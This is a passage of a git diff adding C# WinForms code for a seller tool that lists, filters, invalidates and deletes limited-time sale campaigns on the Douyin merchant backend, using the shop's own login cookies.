System.Drawing.Point(11, 10); + this.lblActivity.Name = "lblActivity"; + this.lblActivity.Size = new System.Drawing.Size(56, 17); + this.lblActivity.TabIndex = 515; + this.lblActivity.Text = "活动名称"; + // + // LimitedSalesManagerActiveForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(1021, 459); + this.Controls.Add(this.splitContainer1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Name = "LimitedSalesManagerActiveForm"; + this.Text = "活动管理"; + this.Load += new System.EventHandler(this.LimitedSalesManagerActiveForm_Load); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + this.splitContainer2.Panel2.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvActive)).EndInit(); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel1.PerformLayout(); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + private System.Windows.Forms.SplitContainer splitContainer2; + private UserComponent.DataGridViewEx dgvActive; + private System.Windows.Forms.SplitContainer splitContainer1; + private System.Windows.Forms.TextBox txtActivity; + private System.Windows.Forms.Label lblActivity; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbActState; + private System.Windows.Forms.Label label2; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbType; + private System.Windows.Forms.Label lblLimit; + private System.Windows.Forms.TextBox txtProID; + private System.Windows.Forms.Label label3; + private DevComponents.DotNetBar.PanelEx btnDelete; + private DevComponents.DotNetBar.PanelEx btnSearch; + private DevComponents.Editors.ComboItem comboItem1; + private DevComponents.Editors.ComboItem comboItem2; + private DevComponents.Editors.ComboItem comboItem3; + private DevComponents.Editors.ComboItem comboItem4; + private DevComponents.Editors.ComboItem comboItem5; + private DevComponents.Editors.ComboItem comboItem6; + private DevComponents.Editors.ComboItem comboItem7; + private DevComponents.Editors.ComboItem comboItem8; + private DevComponents.Editors.ComboItem comboItem9; + private System.Windows.Forms.Label label1; + private DevComponents.DotNetBar.PanelEx btnInvalid; + private DevComponents.DotNetBar.PanelEx btnEdit; + private DevComponents.DotNetBar.PanelEx btnReload; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colActivityId; + private System.Windows.Forms.DataGridViewTextBoxColumn colActivityName; + private System.Windows.Forms.DataGridViewTextBoxColumn colPreStartTime; + private System.Windows.Forms.DataGridViewTextBoxColumn colStartTime; + private System.Windows.Forms.DataGridViewTextBoxColumn colEndTime; + private System.Windows.Forms.DataGridViewTextBoxColumn colPrefereType; + private System.Windows.Forms.DataGridViewTextBoxColumn colActiveState; + private System.Windows.Forms.DataGridViewTextBoxColumn colMessage; + public UserControls.StatusBarUserControl statusBar; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/LimitedSalesManagerActiveForm.cs b/TEMUKJD/KJDForms/SalesCenterForms/LimitedSalesManagerActiveForm.cs new file mode 100644 index 0000000..567159b --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/LimitedSalesManagerActiveForm.cs @@ -0,0 +1,694 @@ +using AllBase; +using AllBase.Helper; +using AllBase.Model.Result; +using LittleRabbit.Extension; +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.Util.Extension; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + public partial class LimitedSalesManagerActiveForm : Form + { + private DouShopLoginInfo shop = null; + private CheckBox chkSelectAll = null; + public List lstActiveId = new List(); + public SeckillingAndLimitedSalesForm seckillingAndLimitedSalesForm = null; + string _signature = ""; + string _timeSpan = ""; + public bool isGetActiveSuccess = false; + public List activeList = new List(); + bool isAll = true; + + public LimitedSalesManagerActiveForm(DouShopLoginInfo _shop = null) + { + InitializeComponent(); + + shop = _shop; + cmbActState.SelectedIndex = 0; + cmbType.SelectedIndex = 0; + txtActivity.Focus(); + + //设置全选按钮 + chkSelectAll = dgvActive.Columns["colSelect"].AddHeaderCheckBox(HorizontalAlignment.Center, 0, 0, null, null, false); + dgvActive.Columns["colSelect"].HeaderText = ""; + chkSelectAll.Width = chkSelectAll.Height = 13; + chkSelectAll.CheckedChanged += chkSelectAll_CheckedChanged; //全选事件 + } + + private void LimitedSalesManagerActiveForm_Load(object sender, EventArgs e) + { + Task.Run(() => + { + this.SearchActivitys(); + }); + } + + private void chkSelectAll_CheckedChanged(object sender, EventArgs e) + { + if (!chkSelectAll.Checked) + { + if (isAll) + { + foreach (DataGridViewRow row in dgvActive.Rows) + { + long ActiveId = row.Cells["colActivityId"].Value.ParseToLong(); + row.Cells["colSelect"].Value = false; + lstActiveId.Remove(ActiveId.ToString()); + } + } + else + { + isAll = true; + foreach (DataGridViewRow row in dgvActive.Rows) + { + long ActiveId = row.Cells["colActivityId"].Value.ParseToLong(); + if (lstActiveId.Contains(ActiveId.ToString())) + row.Cells["colSelect"].Value = true; + else + row.Cells["colSelect"].Value = false; + } + } + } + else + { + foreach (DataGridViewRow row in dgvActive.Rows) + { + row.Cells["colSelect"].Value = true; + long ActiveId = row.Cells["colActivityId"].Value.ParseToLong(); + if (!lstActiveId.Any(p => p == ActiveId.ToString())) + lstActiveId.Add(ActiveId.ToString()); + } + } + } + + private void dgvActive_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + string headerText = dgvActive.Columns[e.ColumnIndex].HeaderText; + string columnName = dgvActive.Columns[e.ColumnIndex].Name; + long ActiveId = dgvActive.Rows[e.RowIndex].Cells["colActivityId"].Value.ParseToLong(); + var row = dgvActive.Rows[e.RowIndex]; + switch (columnName) + { + case "colSelect": + row.Cells["colSelect"].Value = !row.Cells["colSelect"].Value.ParseToBool(); + if (dgvActive.Rows[e.RowIndex].Cells["colSelect"].Value.ParseToBool()) + { + if (lstActiveId.Any(p => p == ActiveId.ToString())) + lstActiveId.RemoveAll(p => p == ActiveId.ToString()); + lstActiveId.Add(ActiveId.ToString()); + } + else + lstActiveId.Remove(ActiveId.ToString()); + if (dgvActive.Rows.Cast().All(r => r.Cells["colSelect"].Value.ParseToBool())) + chkSelectAll.Checked = true; + else + { + isAll = false; + chkSelectAll.Checked = false; + } + break; + } + } + + public void GetActive() + { + if (shop == null) + return; + + ShowVisitorMessage(""); + Task.Run(() => + { + if (shop.LoginStatus == "登录成功") + seckillingAndLimitedSalesForm.GetActiveByCef(this.shop); + + var rowsTemp = dgvActive.Rows.Cast().ToList(); + rowsTemp.Reverse(); + }); + } + + public void GetActiveSim(string listUrl, string referrerUrl, Dictionary headers, string firstPageData = "") + { + ShowVisitorMessage(""); + + int total = -1; + int number = 0; + string result = ""; + if (!string.IsNullOrEmpty(firstPageData)) + result = firstPageData; + + //获取所有活动 + DateTime date = DateTime.Now.Date; + _timeSpan = BaseRegex.GetMatchRegexString(ref listUrl, "&_=([\\s\\S]+?)&"); + if (string.IsNullOrEmpty(_timeSpan)) + _timeSpan = BaseRegex.GetMatchRegexString(ref listUrl, "&_=([\\s\\S]+?)"); + if (string.IsNullOrEmpty(_timeSpan)) + _timeSpan = BaseClass.DateTimeToTimestampMilliseconds(DateTime.Now).ToString(); + _signature = BaseRegex.GetMatchRegexString(ref listUrl, "&_signature=([\\s\\S]+?)&"); + if (string.IsNullOrEmpty(_signature)) + { + var listUrl2 = listUrl + "&"; + _signature = BaseRegex.GetMatchRegexString(ref listUrl2, "&_signature=([\\s\\S]+?)&"); + } + listUrl = "https://fxg.jinritemai.com/shop/promotion/listFlashWithTimeLimit?campaign_status=&shop_stype=&page=1&pageSize=20&_bid=ecom_market_shop&appid=1&_=" + _timeSpan + "&_signature=" + _signature; + for (int i = 1; i < 9999; i++) + { + result = ""; + number += 20; + for (int j = 0; j < 3 && !result.Contains("\"st\":0"); j++) + { + CommonSimRequest simRequest = new CommonSimRequest(); + simRequest.Accept = "application/json, text/plain, */*"; + if (headers.ContainsKey("Accept")) + simRequest.Accept = headers["Accept"]; + if (headers.ContainsKey("UserAgent")) + simRequest.UserAgent = headers["UserAgent"]; + var cookie = shop.Cookies; + + var rUrl = listUrl.Replace("page=1", "page=" + i); + result = simRequest.Request_Get(rUrl, referrerUrl, new Dictionary(), cookie); + if (j > 0) + { + Thread.Sleep(Randomx.GetId(2000, 3000)); + } + } + + if (result.Contains("\"st\":0,\"msg\":\"\",\"code\":0,") && !seckillingAndLimitedSalesForm.cancellationTokenSource.IsCancellationRequested) + { + this.isGetActiveSuccess = true; + + var jObj = JObject.Parse(result); + var aList = JsonHelper.DeserializeJsonToList(jObj["data"]["flash_list"]?.ToString()); + + foreach (var info in aList) + { + if (this.activeList.Any(p => p.campaign_id == info.campaign_id)) + this.activeList.RemoveAll(p => p.campaign_id == info.campaign_id); + this.activeList.Add(info); + } + Thread.Sleep(Randomx.GetId(1500, 2000)); + } + else + { + isGetActiveSuccess = false; + break; + } + + if (number >= total) + break; + } + Invoke(new Action(() => + { + if (seckillingAndLimitedSalesForm.cancellationTokenSource.IsCancellationRequested) + { + this.statusBar.lblTaskStatus.Text = "获取中断"; + } + else if (!isGetActiveSuccess) + { + this.statusBar.lblTaskStatus.Text = "获取活动信息失败"; + } + else + { + this.statusBar.lblTaskStatus.Text = "获取完成"; + } + this.statusBar.pgbTaskProgress.Value = 0; + this.statusBar.pgbTaskProgress.Text = 0 + "/" + 0; + this.statusBar.pgbTaskProgress.Maximum = 0; + })); + } + + public void ShowVisitorMessage(string msg, string activityId = "") + { + Invoke(new Action(() => + { + this.label1.Text = msg; + if (!string.IsNullOrEmpty(activityId)) + { + var row = this.dgvActive.Rows.Cast().FirstOrDefault(r => activityId == r.Cells["colActivityId"].Value?.ToString()); + if (row != null) + { + row.Cells["colMessage"].Value = msg; + if (msg.EndsWith("修改成功!")) { + row.Cells["colActiveState"].Value = "待查询"; + row.Cells["colPreStartTime"].Value = "待查询"; + row.Cells["colStartTime"].Value = "待查询"; + row.Cells["colEndTime"].Value = "待查询"; + row.Cells["colPrefereType"].Value = "待查询"; + } + } + } + })); + } + + public void ClearData() + { + this.lstActiveId.Clear(); + this.activeList.Clear(); + this.dgvActive.Rows.Clear(); + } + + private void btnSearch_Click(object sender, EventArgs e) + { + SearchActivitys(); + } + + private void SearchActivitys() + { + ClearData(); + + ShowVisitorMessage(""); + ShowVisitorMessage("查询开始"); + if (this.activeList.Count == 0) + { + if (seckillingAndLimitedSalesForm.cancellationTokenSource.IsCancellationRequested) + seckillingAndLimitedSalesForm.cancellationTokenSource = new CancellationTokenSource(); + GetActiveSim("https://fxg.jinritemai.com/shop/promotion/listFlashWithTimeLimit?campaign_status=&shop_stype=&page=1&pageSize=20&_bid=ecom_market_shop&appid=1&_=" + _timeSpan + "&_signature=" + _signature, "https://fxg.jinritemai.com/market/center/tools/limitsales", new Dictionary()); + } + string name = "", id = "", stateText = "", stateVal = "", typeText = "", typeVal = ""; + Invoke(new Action(() => + { + name = txtActivity.Text.Trim(); + id = txtProID.Text.Trim(); + stateText = cmbActState.SelectedItem.ToString(); + stateVal = stateText == "全部" ? "" : (stateText == "进行中" ? "1" : (stateText == "已结束" ? "2" : (stateText == "未开始" ? "0" : "3"))); + typeText = cmbType.SelectedItem.ToString(); + typeVal = typeText == "全部" ? "" : (typeText == "打折" ? "3" : (typeText == "直降" ? "2" : "1")); + })); + if ((name == "" && id == "" && stateVal == "" && typeVal == "" && this.dgvActive.Rows.Count == activeList.Count) || activeList.Count == 0) + { + ShowVisitorMessage("查询完成!"); + return; + } + Task.Run(() => + { + List infos = new List(); + + var listUrl = "https://fxg.jinritemai.com/shop/promotion/listFlashWithTimeLimit?title=&campaign_status=&shop_stype=&product_id=" + id + "&page=1&pageSize=20&_bid=ecom_market_shop&appid=1&_=" + _timeSpan + "&_signature=" + _signature; + int total = -1; + int number = 0; + string result = ""; + for (int i = 1; i < 9999; i++) + { + result = ""; + number += 20; + for (int j = 0; j < 3 && !result.Contains("\"st\":0"); j++) + { + CommonSimRequest simRequest = new CommonSimRequest(); + simRequest.Accept = "application/json, text/plain, */*"; + var cookie = shop.Cookies; + + var rUrl = listUrl.Replace("page=1", "page=" + i); + result = simRequest.Request_Get(rUrl, "https://fxg.jinritemai.com/market/center/tools/limitsales", new Dictionary(), cookie); + if (j > 0) + { + Thread.Sleep(Randomx.GetId(1000, 2000)); + } + } + if (result.Contains("\"st\":0") && !seckillingAndLimitedSalesForm.cancellationTokenSource.IsCancellationRequested) + { + if (total == -1) + { + total = BaseRegex.GetIntJson(ref result, "total"); + } + + var jObj = JObject.Parse(result); + var aList = JsonHelper.DeserializeJsonToList(jObj["data"]["flash_list"]?.ToString()); + + if (!string.IsNullOrEmpty(name)) + aList = aList.Where(x => x.title == name).ToList(); + if (!string.IsNullOrEmpty(stateVal)) + aList = aList.Where(x => x.campaign_status == stateVal).ToList(); + if (!string.IsNullOrEmpty(typeVal)) + aList = aList.Where(x => x.shop_stype == typeVal).ToList(); + int totals = aList.Count; + Invoke(new Action(() => + { + //dgvActive.Rows.Clear(); + isAll = false; + for (int j = 0; j < totals; j++) + { + var info = aList[j]; + var shop_stype = info.shop_stype == "1" ? "一口价" : (info.shop_stype == "3" ? "打折" : "直降"); + var status = info.campaign_status == "2" ? "已结束" : (info.campaign_status == "1" ? "进行中" : (info.campaign_status == "0" ? "未开始" : "已失效")); + if (lstActiveId.Contains(info.campaign_id)) + this.dgvActive.Rows.Add(true, info.campaign_id, info.title, info.pre_begin_time, info.begin_time, info.end_time, shop_stype, status); + else + this.dgvActive.Rows.Add(false, info.campaign_id, info.title, info.pre_begin_time, info.begin_time, info.end_time, shop_stype, status); + } + })); + + foreach (var info in aList) + { + infos.Add(info); + } + Thread.Sleep(Randomx.GetId(1500, 2000)); + } + if (number >= total) + break; + } + + ShowVisitorMessage("查询完成!"); + }); + } + + private void btnReload_Click(object sender, EventArgs e) + { + this.txtActivity.Text = string.Empty; + this.txtProID.Text = string.Empty; + this.cmbActState.SelectedIndex = 0; + this.cmbType.SelectedIndex = 0; + } + + private void btnDelete_Click(object sender, EventArgs e) + { + lstActiveId = dgvActive.Rows.Cast() + .Where(r => r.Cells["colSelect"].Value.ParseToBool() == true) + .Select(r => r.Cells["colActivityId"].Value.ToString()).ToList(); + + if (lstActiveId.Count == 0 || dgvActive.Rows.Count == 0) + { + BaseMsgForm.ShowInfo("请选择待删除的活动!"); + return; + } + if (BaseMsgForm.ShowConfirm("确定要删除活动吗?确认删除后,将永久删除,无法恢复!").DialogResult == DialogResult.OK) + { + ShowVisitorMessage(""); + + Task.Run(() => + { + List lstActiveIdTemp = new List(); + lstActiveIdTemp.AddRange(lstActiveId); + foreach (var id in lstActiveIdTemp) + { + long ActiveId = id.ParseToLong(); + DelActive(ActiveId); + } + }); + } + } + + public void DelActive(long ActiveId, bool isRemoveInDgv = true) + { + var deleteUrl = "https://fxg.jinritemai.com/shop/promotion/setFlashStatus?_bid=ecom_market_shop&appid=1&_=" + _timeSpan + "&_signature=" + _signature; + var cookies = shop.Cookies; + + DataGridViewRow row = null; + row = dgvActive.Rows.Cast().FirstOrDefault(r => r.Cells["colActivityId"].Value.ParseToLong() == ActiveId); + if (row == null) + return; + + string name = row.Cells["colActivityName"].Value.ToString(); + var colActiveState = row.Cells["colActiveState"].Value.ToString(); + // 未失效活动先设置失效 + if (colActiveState == "进行中" || colActiveState == "未开始") + { + //Invoke(new Action(() => { row.Cells["colMessage"].Value = name + "活动" + colActiveState + ",请先设置失效,再删除!"; })); + //continue; + SetActiveInvalid(ActiveId.ToString()); + Thread.Sleep(Randomx.GetId(250, 500)); + } + + CommonSimRequest request = new CommonSimRequest(); + request.ContentType = "application/json"; + Dictionary dicts = new Dictionary(); + var postData = "{\"campaign_id\":\"" + ActiveId + "\",\"status\":3}"; + string result = request.Request_PostByBigLength(deleteUrl, "https://fxg.jinritemai.com/market/center/tools/limitsales", dicts, cookies, postData, false); + if (result.Contains("{\"st\":0,\"msg\":\"\",\"code\":0,")) + { + if (isRemoveInDgv) + { + Invoke(new Action(() => { row.Cells["colMessage"].Value = "删除完成,活动已删除!"; })); + ShowVisitorMessage("删除完成,活动" + name + "已删除!"); + } + Thread.Sleep(Randomx.GetId(250, 500)); + if (isRemoveInDgv) + { + lstActiveId.Remove(ActiveId.ToString()); + activeList.Remove(activeList.Where(x => x.campaign_id == ActiveId.ToString()).FirstOrDefault()); + } + } + else + { + Invoke(new Action(() => { row.Cells["colMessage"].Value = "删除失败:" + BaseRegex.GetStringJson(ref result, "msg"); })); + } + } + + private void btnInvalid_Click(object sender, EventArgs e) + { + if (lstActiveId.Count == 0 || dgvActive.Rows.Count == 0) + { + BaseMsgForm.ShowInfo("请选择待失效的活动!"); + return; + } + if (BaseMsgForm.ShowConfirm("确定要把活动设置为失效吗?").DialogResult == DialogResult.OK) + { + Task.Run(() => + { + for (int i = 0; i < dgvActive.Rows.Count; i++) + { + DataGridViewRow row = dgvActive.Rows[i]; + SetActiveInvalid(row.Cells["colActivityId"].Value.ToString()); + } + }); + } + } + + private void SetActiveInvalid(string activityId) + { + var row = this.dgvActive.Rows.Cast().FirstOrDefault(r => r.Cells["colActivityId"].Value.ToString() == activityId); + if (row == null) + return; + + var failUrl = "https://fxg.jinritemai.com/shop/promotion/setFlashStatus?_bid=ecom_market_shop&appid=1&_=" + _timeSpan + "&_signature=" + _signature; + var cookies = shop.Cookies; + + long ActiveId = row.Cells["colActivityId"].Value.ParseToLong(); + if (lstActiveId.Any(p => p == ActiveId.ToString())) + { + string name = row.Cells["colActivityName"].Value.ToString(); + var colActiveState = row.Cells["colActiveState"].Value.ToString(); + if (colActiveState != "进行中" && colActiveState != "未开始") + { + Invoke(new Action(() => { row.Cells["colMessage"].Value = name + "活动" + colActiveState + ",无需再设置失效!"; })); + return; + } + CommonSimRequest request = new CommonSimRequest(); + request.ContentType = "application/json"; + Dictionary dicts = new Dictionary(); + var postData = "{\"campaign_id\":\"" + ActiveId + "\",\"status\":2}"; + string result = request.Request_PostByBigLength(failUrl, "https://fxg.jinritemai.com/market/center/tools/limitsales", dicts, cookies, postData, false); + if (result.Contains("{\"st\":0,\"msg\":\"\",\"code\":0,")) + { + Invoke(new Action(() => + { + var activeInfo = activeList.Where(x => x.campaign_id == ActiveId.ToString()).FirstOrDefault(); + if (activeInfo != null) + { + activeInfo.campaign_status = "3"; + row.Cells["colActiveState"].Value = "已失效"; + row.Cells["colMessage"].Value = "设置失效已完成!"; + } + })); + Thread.Sleep(Randomx.GetId(250, 500)); + } + else + { + Invoke(new Action(() => { row.Cells["colMessage"].Value = "设置失效失败 :" + BaseRegex.GetStringJson(ref result, "msg"); })); + } + } + } + + private void btnEdit_Click(object sender, EventArgs e) + { + //if (dgvActive.Rows.Count == 0) + //{ + // BaseMsgForm.ShowInfo("请先获取活动列表!"); + // return; + //} + //if (lstActiveId.Count == 0) + //{ + // BaseMsgForm.ShowInfo("请选择待失效的活动!"); + // return; + //} + + //var cookies = shop.Cookies; + //for (int i = 0; i < dgvActive.Rows.Count; i++) + //{ + // DataGridViewRow row = dgvActive.Rows[i]; + // long ActiveId = row.Cells["colActivityId"].Value.ParseToLong(); + // if (lstActiveId.Any(p => p == ActiveId.ToString())) + // { + // string name = row.Cells["colActivityName"].Value.ToString(); + // var colActiveState = row.Cells["colActiveState"].Value.ToString(); + // if (colActiveState != "进行中" && colActiveState != "未开始") + // { + // BaseMsgForm.ShowInfo("只能编辑进行中或者未开始的活动," + name + "活动" + colActiveState + "!"); + // continue; + // } + // ShowVisitorMessage(""); + // var status = 1; + // if (colActiveState == "未开始") + // status = 0; + // CommonSimRequest simRequest = new CommonSimRequest(); + // var rUrl = "https://fxg.jinritemai.com/byteshop/promotion/detailFlashAndGoods?campaign_id=" + ActiveId + "&filter_unable_product=0&_bid=ecom_market_shop&appid=1&_= " + _underline + " & _signature = " + _signature; + // var result = simRequest.Request_Get(rUrl, "https://fxg.jinritemai.com/market/center/tools/limitsales/detail?id=" + ActiveId + "&refer=edit&status=" + status, new Dictionary(), cookies); + // if (result.Contains("{\"st\":0,\"msg\":\"\",\"code\":0,")) + // { + // ActiveInfoEdit infoEdit = new ActiveInfoEdit(); + // infoEdit.campaign_id = ActiveId.ToString(); + // JObject o1 = JObject.Parse(result); + // JObject o2 = JObject.Parse(o1["data"]?.ToString()); + + // infoEdit.sub_stype = o2["sub_stype"].ToString().ParseToInt(); + // infoEdit.title = o2["title"].ToString(); + // infoEdit.pre_begin_time = o2["pre_begin_time"].ToString(); + // infoEdit.begin_time = o2["begin_time"].ToString(); + // infoEdit.end_time = o2["end_time"].ToString(); + // infoEdit.order_expire_time = o2["order_expire_time"].ToString(); + // infoEdit.shop_stype = o2["shop_stype"].ToString(); + // infoEdit.time_set_type = o2["time_set_type"].ToString(); + // infoEdit.status = o2["status"].ToString().ParseToInt(); + // infoEdit.stock_type = o2["stock_type"].ToString(); + // infoEdit.sold_out_type = o2["sold_out_type"].ToString(); + // infoEdit.promotion_goods = new List(); + + // JArray arr = JArray.Parse(o2["promotion_goods"].ToString()); + // for (int x = 0; x < arr.Count; x++) + // { + // JObject ox = JObject.Parse(arr[x].ToString()); + // Promotion_Goods _Goods = new Promotion_Goods(); + // _Goods.product_id = ox["product_id"].ToString(); + // _Goods.title = ox["title"].ToString(); + // _Goods.cover = ox["cover"].ToString(); + // _Goods.config_scope = ox["config_scope"].ToString().ParseToInt(); + // _Goods.promotion_skus = new List(); + + // JArray arrSku = JArray.Parse(ox["promotion_skus"].ToString()); + // for (int j = 0; j < arrSku.Count; j++) + // { + // JObject oj = JObject.Parse(arrSku[j].ToString()); + // Promotion_Skus skus = new Promotion_Skus(); + // skus.id = oj["id"].ToString(); + // skus.camp_stock_num = oj["camp_stock_num"].ToString().ParseToInt(); + // skus.camp_left_stock_num = oj["camp_left_stock_num"].ToString().ParseToInt(); + // skus.price = oj["price"].ToString().ParseToInt(); + // skus.user_limit = oj["user_limit"].ToString(); + // skus.origin_price = oj["origin_price"].ToString().ParseToInt(); + // skus.stock = oj["stock"].ToString().ParseToInt(); + // skus.specification = oj["specification"].ToString(); + // skus.shop_svalue = oj["shop_svalue"].ToString().ParseToInt(); + // skus.redline_price = oj["redline_price"].ToString().ParseToInt(); + // _Goods.promotion_skus.Add(skus); + // } + // infoEdit.promotion_goods.Add(_Goods); + // } + + // var editUrl = "https://fxg.jinritemai.com/byteshop/promotion/editFlashAndGoods?_bid=ecom_market_shop&appid=1&_= " + _underline + " & _signature = " + _signature; + // var postProData = string.Empty; + // postProData = postProData + "{\"sub_stype\":\"" + infoEdit.sub_stype + "\",\"shop_stype\":\"" + infoEdit.shop_stype + "\",\"title\":\"" + infoEdit.title + "\",\"time_set_type\":\"" + infoEdit.time_set_type + "\",\"promotion_goods\":["; + // foreach (var goods in infoEdit.promotion_goods) + // { + // postProData = postProData + "{\"product_id\":\"" + goods.product_id + "\",\"title\":\"" + goods.title + "\",\"cover\":\"" + goods.cover + "\",\"config_scope\":\"" + goods.config_scope + "\",\"promotion_skus\":["; + // if (goods.promotion_skus.Count > 0) + // { + // DouProductPromotionListSkuInfoEditForm skuInfoEdit = new DouProductPromotionListSkuInfoEditForm(goods, infoEdit.shop_stype); + // skuInfoEdit.ShowDialog(); + // if (skuInfoEdit.DialogResult == DialogResult.OK) + // { + // foreach (var skus in skuInfoEdit.skuList) + // { + // postProData = postProData + "{\"id\":\"" + skus.id + "\",\"camp_stock_num\":\"" + skus.camp_stock_num + "\",\"user_limit\":\"" + skus.user_limit + "\",\"price\":\"" + skus.price + "\",\"shop_svalue\":\"" + skus.shop_svalue + "\"},"; + // } + // } + // } + // postProData = postProData.Trim(',') + "]},"; + // } + // postProData = postProData.Trim(',') + "],\"order_expire_time\":\"" + infoEdit.order_expire_time + "\",\"pre_begin_time\":\"" + infoEdit.pre_begin_time + "\",\"begin_time\":\"" + infoEdit.begin_time + "\",\"end_time\":\"" + infoEdit.end_time + "\",\"sold_out_type\":\"" + infoEdit.sold_out_type + "\",\"create_action_type\":\"0\",\"campaign_id\":\"" + infoEdit.campaign_id + "\"}"; + + // CommonSimRequest simRequest1 = new CommonSimRequest(); + // simRequest1.ContentType = "application/json"; + // var editResult = simRequest1.Request_PostByBigLength(editUrl, "https://fxg.jinritemai.com/market/center/tools/limitsales/detail?id=" + ActiveId + "&refer=edit&status=" + status, new Dictionary(), cookies, postProData, false); + // if (editResult.Contains("{\"st\":0,\"msg\":\"\",\"code\":0,")) + // { + // ShowVisitorMessage("修改完成,活动已修改!"); + // Thread.Sleep(1000); + // } + // else + // { + // Invoke(new Action(() => { row.Cells["colMessage"].Value = "修改失败:" + BaseRegex.GetStringJson(ref editResult, "msg"); })); + // } + // } + // } + //} + } + + public string GetProductByActivityId(string activityId, string cookies) + { + + CommonSimRequest request = new CommonSimRequest(); + request.ContentType = "application/json"; + Dictionary dicts = new Dictionary(); + string reqUrl = "https://fxg.jinritemai.com/byteshop/promotion/detailFlashAndGoods?campaign_id=" + activityId + "&filter_unable_product=0&_bid=ecom_market_shop&appid=1&_=" + _timeSpan + "&_signature=" + _signature; + string refUrl = "https://fxg.jinritemai.com/market/center/tools/limitsales/detail?id=" + activityId + "&refer=edit&status=1"; + string result = request.Request_Get(reqUrl, refUrl, dicts, cookies); + return result; + + //https://fxg.jinritemai.com/byteshop/promotion/detailFlashAndGoods?campaign_id=7129422311865811232&filter_unable_product=0&_bid=ecom_market_shop&appid=1 + //https://fxg.jinritemai.com/market/center/tools/limitsales/detail?id=7129422311865811232&refer=edit&status=1 + } + + //根据id获取sku + public string GetSkusByProductIds(string postData, string cookies) + { + CommonSimRequest request = new CommonSimRequest(); + request.ContentType = "application/json"; + Dictionary dicts = new Dictionary(); + string reqUrl = "https://fxg.jinritemai.com/byteshop/promotion/batchGetSkuByProductIds?_bid=ecom_market_shop&appid=1&_=" + _timeSpan + "&_signature=" + _signature; + string result = request.Request_PostByBigLength(reqUrl, "https://fxg.jinritemai.com/market/center/tools/limitsales/detail?refer=new", dicts, cookies, postData); + return result; + } + + public string checkFlashAndGoods(string postData, string cookies) + { + CommonSimRequest request = new CommonSimRequest(); + request.ContentType = "application/json"; + Dictionary dicts = new Dictionary(); + string reqUrl = "https://fxg.jinritemai.com/byteshop/promotion/checkFlashAndGoods?_bid=ecom_market_shop&appid=1&_=" + _timeSpan + "&_signature=" + _signature; + string result = request.Request_PostByBigLength(reqUrl, "https://fxg.jinritemai.com/market/center/tools/limitsales/detail?refer=new", dicts, cookies, postData); + return result; + } + + public string createFlashAndGoods(string postData, string cookies) + { + CommonSimRequest request = new CommonSimRequest(); + request.ContentType = "application/json"; + Dictionary dicts = new Dictionary(); + string reqUrl = "https://fxg.jinritemai.com/byteshop/promotion/createFlashAndGoods?_bid=ecom_market_shop&appid=1&_=" + _timeSpan + "&_signature=" + _signature; + string result = request.Request_PostByBigLength(reqUrl, "https://fxg.jinritemai.com/market/center/tools/limitsales/detail?refer=new", dicts, cookies, postData); + return result; + } + } + + public class ActiveInfo + { + public string campaign_id { get; set; } + public string stype { get; set; } + public string title { get; set; } + public string pre_begin_time { get; set; } + public string begin_time { get; set; } + public string end_time { get; set; } + public string status { get; set; } + public string shop_stype { get; set; } + public string intro { get; set; } + public string campaign_status { get; set; } + public string warm_up { get; set; } + } +} diff --git a/TEMUKJD/KJDForms/SalesCenterForms/LimitedSalesManagerActiveForm.resx b/TEMUKJD/KJDForms/SalesCenterForms/LimitedSalesManagerActiveForm.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/LimitedSalesManagerActiveForm.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/SalesCenterForm.Designer.cs b/TEMUKJD/KJDForms/SalesCenterForms/SalesCenterForm.Designer.cs new file mode 100644 index 0000000..8026ee3 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/SalesCenterForm.Designer.cs @@ -0,0 +1,179 @@ +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + partial class SalesCenterForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.TreeNode treeNode1 = new System.Windows.Forms.TreeNode("新人券"); + System.Windows.Forms.TreeNode treeNode2 = new System.Windows.Forms.TreeNode("限时限量购"); + System.Windows.Forms.TreeNode treeNode3 = new System.Windows.Forms.TreeNode("满减"); + 